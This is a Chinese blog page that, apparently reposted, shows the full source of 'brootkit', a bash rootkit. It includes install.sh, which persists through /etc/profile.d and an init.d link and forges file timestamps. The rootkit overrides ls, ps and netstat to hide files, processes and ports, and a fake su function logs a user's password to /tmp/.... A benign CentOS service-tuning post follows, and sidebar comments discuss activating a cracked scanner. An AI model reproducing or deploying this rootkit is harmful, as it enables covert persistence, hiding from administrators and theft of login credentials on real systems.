    echo -e "\nexp:"
    echo -e "$1 -p 21,22,23-25,80,135-139,8080 -t 20 www.cloud-sec.org"
    echo -e "$1 -p 1-65525 -n 200 -t 20 www.cloud-sec.org"
}

function main()
{
    if [ $# -eq 0 ]; then
        br_usage $0
        exit 0
    fi

    while getopts "p:n:t:o:h" arg
    do
    case $arg in
        p)
            br_parse_port $OPTARG ;;
        n)
            br_thread_num=$OPTARG ;;
        t)
            br_timeout=$OPTARG ;;
        o)
            br_logfile=$OPTARG ;;
        h)
            br_usage $0
            exit 0
            ;;
        ?)
            echo "unkown arguments."
            exit 1
            ;;
        esac
    done

    shift $((OPTIND-1))
    br_remote_host=$@

    [ $br_port_num -lt $br_thread_num ] && br_thread_num=$br_port_num

    #br_show_ports
    br_scan_init
    br_play_init
    br_show_arg
    br_scan_port
    br_scan_exit
}

main $@

brdaemon.sh是一个把bashbd.sh放后台执行的一个脚本

#!/bin/bash

BR_ROOTKIT_PATH="/usr/include/..."

function br_hookhup()
{
        :
}

function br_daemon()
{
    if ! type nohup >/dev/null; then
                nohup $BR_ROOTKIT_PATH/bashbd.sh > /dev/null 2>&1
                [ $? -eq 1 ] && exit
        else
                trap br_hookhup SIGHUP
                $BR_ROOTKIT_PATH/bashbd.sh > /dev/null 2>&1 &
                [ $? -eq 1 ] && exit
        fi
}

br_daemon

install.sh脚本就是

#!/bin/bash

BR_ROOTKIT_PATH="/usr/include/..."

function br_rootkit()
{
    cp brootkit.sh /etc/profile.d/emacs.sh # 把rootkit脚本拷贝到指定目录, 每次打开一个登录shell的时候都会执行这个脚本
    touch -r /etc/profile.d/vim.sh /etc/profile.d/emacs.sh # 用vim.sh的时间戳来修饰emacs.sh
}

function br_hookhup()
{
    :
}

function main()
{
    mkdir -p $BR_ROOTKIT_PATH -m 0777 # 创建文件夹来存放所有文件
    [ $? -eq 1 ] && exit && echo "mkdir $BR_ROOTKIT_PATH failed."

    cp brootkit.sh br.conf br_config.sh bashbd.sh brscan.sh $BR_ROOTKIT_PATH
    [ $? -eq 1 ] && exit && echo "copy brootkit failed."

    cp brdaemon.sh /etc/rc.d/init.d/brdaemon # 复制控制脚本到系统存放控制脚本的目录
    ln -s /etc/rc.d/init.d/brdaemon /etc/rc.d/rc3.d/S10brdaemon # 在运行级别3的话就启动脚本, 适用Red Hat系列Linux
    [ $? -eq 1 ] && exit && echo "copy brdaemon failed."

    chmod 777 $BR_ROOTKIT_PATH

    if ! type nohup >/dev/null; then
        nohup $BR_ROOTKIT_PATH/bashbd.sh > /dev/null 2>&1
        [ $? -eq 1 ] && exit && echo "install backdoor failed."
    else
        trap br_hookhup SIGHUP
        $BR_ROOTKIT_PATH/bashbd.sh > /dev/null 2>&1 &
        [ $? -eq 1 ] && exit && echo "install backdoor failed."
    fi

    br_rootkit
    [ $? -eq 1 ] && exit && echo "install brootkit failed." || \
        echo "install brootkit successful."
}

main

根据man手册, touch -r的意思如下

-r Use the access and modifications times from the specified file instead of the current time of day.
好了, 到了最后一个脚本, 这个脚本的主要功能就是, 每次用户登录的时候就执行, 它会替换系统命令, 根据配置文件把相关的文件给隐藏掉, 就是这样

#!/bin/bash
# Lightweight rootkit implemented by bash shell scripts v0.01
#
# by wzt 2015   http://www.cloud-sec.org
#

declare -r builtin
declare -r declare
declare -r set
declare -r fake_unset
declare -r type
declare -r typeset

unalias ls >/dev/null 2>&1

BR_ROOTKIT_PATH="/usr/include/..."

function abcdmagic()
{
    :
}

function builtin()
{
    local fake_a fake_b

    unset command
    case $1 in 
        "declare"|"set"|"unset"|"command"|"type"|"typeset")
            fake_a="$(command builtin $1 $2)"
            if [ $2 == " " ];then
                fake_b=${fake_a/br_hide_file\=*/}
            else
                fake_b=${fake_a/\/bin\/ls?()*/}
            fi
            echo -n "$fake_b"
            reset_command
            return ;;
        "builtin")
            echo "bash: builtin: builtin: syntax error, bash($BASH_VERSION) is not support."
            reset_command
            return ;;
        *)
            command builtin $1 $2
            reset_command
            ;;
    esac
}

function declare()
{
    local fake_a fake_b

    unset command
    case $1 in 
        "")
            fake_a="$(command declare $1 $2)"
            fake_b=${fake_a/br_hide_file\=*/}
            echo -n "$fake_b"
            reset_command
            return ;;
        "-f"|"-F")
            fake_a="$(command declare $1 $2)"
            fake_b=${fake_a/\/bin\/ls?()*/}
            echo -n "$fake_b"
            reset_command
            return ;;
        *)
            command declare $1 $2
            reset_command
            return ;;
    esac
}

function typeset()
{
    local fake_a fake_b

    unset command
    case $1 in
        ""|"-f"|"-F")
            fake_a="$(command declare $1 $2)"
            fake_b=${fake_a/br_hide_file\=*/}
            echo -n "$fake_b"
            reset_command
            return ;;
        *)
            command typeset $1 $2
            reset_command
            return ;;
    esac
}

function type()
{
    case $1 in
        "builtin"|"declare"|"set"|"unset"|"type"|"typeset")
            echo "$1 is a shell builtin"
            return ;;
        "dir")
            echo "dir is /usr/bin/dir"
            return ;;
        "ls")
            echo "ls is aliased to ls --color=tty"
            return ;;
        "ps")
            echo "ps is /bin/ps"
            return ;;
        "netstat")
            echo "netstat is hashed (/bin/netstat)"
            return ;;
        "/bin/ls"|"/usr/bin/dir"|"/bin/ps"|"/bin/netstat")
            echo "$1 is $1"
            return ;;
        *)
            unset command
            command type $1 $2
            reset_command
            return ;;
    esac
}

function set()
{
    local fake_a fake_b

    unset command
    case $1 in
        "")
            fake_a="$(command set)"
            fake_b=${fake_a/br_hide_file\=*/}
            echo -n "$fake_b"
            reset_command
            return ;;
        "-x"|"+x")
            return ;;
        *)
            echo $1 $2
            command set $1 $2
            reset_command
            return ;;
    esac
}

function fake_unset()
{
    case $1 in
        "builtin"|"declare"|"command"|"set"|"unset"|"type"|"typeset")
            echo "bash: syntax error, bash($BASH_VERSION) is not support."
            return ;;
        *)
            unset $1 $2
            return ;;
    esac
}

function fake_command()
{
    case $1 in
        "builtin"|"declare"|"command"|"set"|"unset"|"type"|"typeset")
            echo "bash: syntax error, bash($BASH_VERSION) is not support."
            return ;;
        *)
            unset command
            command $1 $2
            reset_command
            return ;;
    esac
}

function command()
{
    case $1 in
        "builtin")
            builtin $2 $3
            return ;;
        "declare")
            declare $2 $3
            return ;;
        "set")
            set $2 $3
            return ;;
        "unset")
            fake_unset $2 $3
            . brootkit.sh
            return ;;
        "type")
            type $2 $3
            return ;;
        "typeset")
            typeset $2 $3
            return ;;
        "command")
            fake_command $2 $3
            return ;;
        *)
            unset command
            command $2 $3
            . brootkit.sh
            return ;;
    esac
}

function reset_command()
{
    function command()
    {
        case $1 in
            "builtin")
                builtin $2 $3
                return ;;
            "declare")
                declare $2 $3
                return ;;
            "set")
                set $2 $3
                return ;;
            "unset")
                fake_unset $2 $3
                . brootkit.sh
                return ;;
            "type")
                type $2 $3
                return ;;
            "typeset")
                typeset $2 $3
                return ;;
            "command")
                fake_command $2 $3
                return ;;
            *)
                unset command
                command $2 $3
                . brootkit.sh
                return ;;
        esac
    }
}

function su()
{
    local arg_list=("" "-" "-l" "--login"
            "-c" "--command" "--session-command"
            "-f" "--fast"
            "-m" "--preserve-environment" "-p"
            "-s" "--shell=SHELL")
    local flag=0 tmp_arg arg pass

    if [ $UID -eq 0 ]; then
        /bin/su $1; unset su ; return $?
    fi

    for arg in ${arg_list[@]}
    do
        [ "$1" = "$arg" ] && flag=1
    done

    [ $# -eq 0 ] && flag=1

    tmp_arg=$1;tmp_arg=${tmp_arg:0:1};
    [ "$tmp_arg" != "-" -a $flag -eq 0 ] && flag=1

    if [ $flag -ne 1 ];then
        /bin/su $1; return $?
    fi

    [ ! -f /tmp/... ] && `touch /tmp/... && chmod 777 /tmp/... >/dev/null 2>&1`

    echo -ne "Password:\r\033[?25l"
    read -t 30 -s pass
    echo -ne "\033[K\033[?25h"

    /bin/su && unset su && echo $pass >> /tmp/...
}

unalias ls >/dev/null 2>&1

function max_file_length()
{
    local tmp_file sum=0 n=0

    for tmp_file in `/bin/ls $@`
    do
        n=${#tmp_file}
        [ $n -gt $sum ] && sum=$n
    done

    return $sum
}

function ls()
{
    local fake_file max_col_num file_format
    local hide_file hide_flag file_arg old_ifs
    local file_len=0 sum=0 n=0 display_mode=0

    max_col_num=`stty size|cut -d " " -f 2`

    . $BR_ROOTKIT_PATH/br_config.sh
    br_load_config $BR_ROOTKIT_PATH/br.conf

    for file_arg in $@
    do
        if echo $file_arg|grep -q -e "^-.*l.*"; then
            display_mode=1; break
        fi
    done

    case $display_mode in
    0)
        unset -f /bin/ls
        max_file_length $@
        file_len=$?

        for fake_file in $(/bin/ls $@)
        do
            hide_flag=0
            old_ifs=$IFS; IFS=","
            for hide_file in ${br_hide_file[@]}
            do
                if echo "$fake_file"|grep -e "^$hide_file" >/dev/null;then
                    hide_flag=1; break
                fi
            done
                IFS=$old_ifs

            [ $hide_flag -eq  1 ] && continue

            n=${#fake_file}
            ((sum=sum+n+file_len))

            if [ $sum -gt $max_col_num ];then
                file_format="%-$file_len""s\n"
                printf $file_format $fake_file
                sum=0
            else
                file_format="%-$file_len""s "
                printf $file_format $fake_file
            fi
        done

        [ $sum -le $max_col_num ] && echo ""
        reset_ls
        return ;;
    1)  
        unset -f /bin/ls

        fake_file=`/bin/ls $@`
        old_ifs=$IFS; IFS=","
        for hide_file in ${br_hide_file[@]}
        do
            fake_file=`echo "$fake_file" | sed -e '/'$hide_file'/d'`
        done
        IFS=$old_ifs
        echo "$fake_file"
        reset_ls

        return ;;
    esac
}

function dir()
{
    ls $@
}

function /usr/bin/dir()
{
    unset -f /bin/ls
    ls $@
    reset_ls
}

function reset_ls()
{
    function /bin/ls()
    {
        unset -f /bin/ls
        ls $@
        reset_ls
    }
}

function /bin/ls()
{
    unset -f /bin/ls
    ls $@
    reset_ls
}

function ps()
{
    local proc_name hide_proc old_ifs

    . $BR_ROOTKIT_PATH/br_config.sh
    br_load_config $BR_ROOTKIT_PATH/br.conf

    old_ifs=$IFS; IFS=","

    proc_name=`/bin/ps $@`
    for hide_proc in ${br_hide_proc[@]}
    do
        proc_name=`echo "$proc_name" | sed -e '/'$hide_proc'/d'`
    done

    echo "$proc_name"
    IFS=$old_ifs
}

function reset_ps()
{
    function /bin/ps()
    {
        unset -f /bin/ps
        ps $@
        reset_ps
    }
}

function /bin/ps()
{
    unset -f /bin/ps
    ps $@
    reset_ps
}

function netstat()
{
    local hide_port tmp_port old_ifs

    . $BR_ROOTKIT_PATH/br_config.sh
    br_load_config $BR_ROOTKIT_PATH/br.conf

    old_ifs=$IFS; IFS=","
    tmp_port=`/bin/netstat $@`
    for hide_port in ${br_hide_port[@]}
    do
        tmp_port=`echo "$tmp_port" | sed -e '/'$hide_port'/d'`
    done
    echo "$tmp_port"
    IFS=$old_ifs
}

function reset_netstat()
{
    function /bin/netstat()
    {
        unset -f /bin/netstat
        netstat $@
        reset_netstat
    }
}

function /bin/netstat()
{
    unset -f /bin/netstat
    netstat $@
    reset_netstat
}

 

centos开机启动服务优化笔记

发布时间:June 2, 2015 // 分类:工作日志,运维工作,linux,转帖文章 // No Comments

默认开机启动服务列表:

服务名称 功能 默认 建议 备注说明
NetworkManager 用于自动连接网络,常用在Laptop上 开启 关闭 对服务器无用  服务器一般固定配置网络,不会自动获取ip等
abrt-ccpp   开启 自定 对服务器无用
abrt-oops   开启 自定 对服务器无用
abrtd   开启 自定 对服务器无用
acpid 电源的开关等检测管理,常用在Laptop上 开启 自定 对服务器无用
atd 在指定时间执行命令 开启 关闭 如果用crond,则可关闭它
auditd 审核守护进程 开启 开启 如果用selinux,需要开启它
autofs 文件系统自动加载和卸载 开启 自定 只在需要时开启它,可以关闭
avahi-daemon 本地网络服务查找 开启 关闭 对服务器无用
avahi-dnsconfd avahi DNS 关闭 关闭 对服务器无用
bluetooth 蓝牙无线通讯 开启 关闭 对服务器无用
dund 蓝牙相关 开启 关闭 对服务器无用
hidd 蓝牙相关 开启 关闭 对服务器无用
pand 蓝牙相关 关闭 关闭  
conman 控制台管理 关闭 关闭 无用
certmonger   关闭 关闭  
cpuspeed 调节cpu速度用来省电,常用在Laptop上 开启 关闭 对服务器无用
crond 计划任务管理 开启 开启 常用,开启
cups 通用unix打印服务 开启 关闭 对服务器无用
dnsmasq dns cache 关闭 关闭 DNS缓存服务,无用
firstboot 系统安装后初始设定 关闭 关闭  
fcoe Open-FCoE  initiator    以太网光纤通信 开启 关闭 除非服务器光纤直连,否则无用
gpm 控制台下的鼠标支持 开启 开启  
haldaemon 硬件信息收集服务 开启 开启  
ibmasm ibm硬件管理 关闭 关闭  
ip6tables ipv6防火墙 开启 关闭 用到ipv6网络的就用,一般关闭
iptables ipv4防火墙 开启 开启 ipv4防火墙服务
irda 红外线通信 关闭 关闭 无用
irqbalance cpu负载均衡 开启 自定 多核cup需要
iscsi 网络存储相关 开启 关闭  
iscsid 网络存储相关 开启 关闭  
kdump 硬件变动检测 关闭 关闭 服务器无用
kudzu 硬件变动检测 低版本的系统中 关闭 关闭 对服务器无用
livesys 安装系统相关服务 开启 关闭  
livesys-late 安装系统相关服务 开启 关闭  
lvm2-monitor lvm监视 开启 自定 如果使用LVM逻辑卷管理就开启
blk-availability lvm2相关 开启 自定 如果用lvm,则建议开启,否则不需要
mcstrans 在开启selinux时用于检查context 开启 关闭  
matahari-broker   关闭 关闭 此服务不清楚,我关闭
matahari-host   关闭 关闭 此服务不清楚,我关闭
matahari-network   关闭 关闭 此服务不清楚,我关闭
matahari-service   关闭 关闭 此服务不清楚,我关闭
matahari-sysconfig   关闭 关闭 此服务不清楚,我关闭
mdmonitor 软raid监视 开启 自定  使用软raid的服务器开启
mdmpd 软raid管理 关闭 关闭  
multipathd   关闭 关闭  
messagebus 负责在各个系统进程之间传递消息 开启 开启 如停用,haldaemon启动会失败
microcode_ctl cpu微码管理升级 开启 关闭  
netconsole   关闭 关闭  
netfs 系统启动时自动挂载网络文件系统 开启 关闭 如果使用nfs服务,就开启
network 系统启动时激活所有网络接口 开启 开启 网络基础服务,必需!
netplugd 网线热插拔监视 关闭 关闭  
nfs 网络文件系统 关闭 关闭 nfs文件服务,用到就开启
nfslock nfs相关 开启 关闭 nfs相关服务,用到就开启
nscd name cache,应该与DNS相关 关闭 关闭  
ntpd 自动对时工具 关闭 自定 网络对时服务,用到就开启
ntpdate 自动对时工具 关闭 关闭  
oddjobd 与D-BUS相关 关闭 关闭  
portreserve RPC 服务相关 开启 自定 可以关闭
pcscd pc/sc smart card daemon 开启  关闭  
portmap 使用NFS、NIS时的port map 开启 关闭  
postfix 替代sendmail的邮件服务器 开启 自定 如果无邮件服务,可关闭
psacct 负荷检测 关闭 关闭 可以关闭
qpidd 消息通信 开启 开启  
quota_nld   关闭 关闭 可以关闭
rdisc 自动检测路由器 关闭 关闭  
rawdevices raw设备支持 开启 开启  
readahead_early 提前预读相关 开启 开启  
readahead_later   关闭 关闭  
restorecond selinux相关 关闭 关闭 如果开启了selinux,就需开启
rpcbind   开启 开启 关键的基础服务,nfs服务和桌面环境都依赖此服务!相当于CentOS 5.x里面的portmap服务。
rpcgssd NFS相关 开启 关闭 NFS相关服务,可选
rpcidmapd RPC name to UID/GID mapper 开启 关闭 NFS相关服务,可选
rpcsvcgssd NFS相关 关闭 关闭 NFS相关服务,可选
rsyslog 提供系统的登录档案记录 开启 开启 系统日志关键服务,必需!
syslog 系统日志相关 开启 开启  
saslauthd sasl认证服务相关 关闭 关闭  
smartd 硬盘自动检测守护进程 关闭 关闭  
spice-vdagentd   开启 开启  
sshd ssh服务端,可提供安全的shell登录 开启 开启 SSH远程登录服务,必需!
sssd   关闭 关闭  
sendmail 邮件服务 开启 自定义  
sysstat   开启 开启 一组系统监控工具的服务,常用
tcsd   关闭 关闭  
udev-post 设备管理系统 开启 开启  
wdaemon   关闭 关闭  
wpa_supplicant 无线认证相关 关闭 关闭  
xfs x windows相关 开启 关闭  
ypbind network information service客户端 关闭 关闭  
yum-updatesd yum自动升级 开启 关闭  

查看当前开机启动服务列表

chkconfig --list | grep '3:on' | awk '{print $1}'

我的优化项目

chkconfig bluetooth off
chkconfig auditd off
chkconfig cups off
chkconfig yum-updatesd off
chkconfig smartd off
chkconfig sendmail off
chkconfig ip6tables off
chkconfig atd off
chkconfig iscsi off
chkconfig iscsid off
chkconfig microcode_ctl off

需要因机器和环境而异,仅做记录备忘。

推荐阅读

《生产服务器环境最小化安装后 Centos 6.5优化配置》http://www.lvtao.net/server/centos-server-setup.html

分类
最新文章
最近回复
  • 没穿底裤: 直接在hosts里面.激活的时候访问不到正确的地址
  • Sfish: 屏蔽更新是在控制台设置一下就可以了,还是说要在其他层面做一下限制,比如配置一下hosts让他升...
  • 没穿底裤: 激活,或者屏蔽地址禁止升级
  • 没穿底裤: 呃..这个思路不错啊..
  • Sfish: 博主好,想问一下,wvs11的破解版,是不是每隔一段时间就要重新激活一次才可以?有没有什么解决...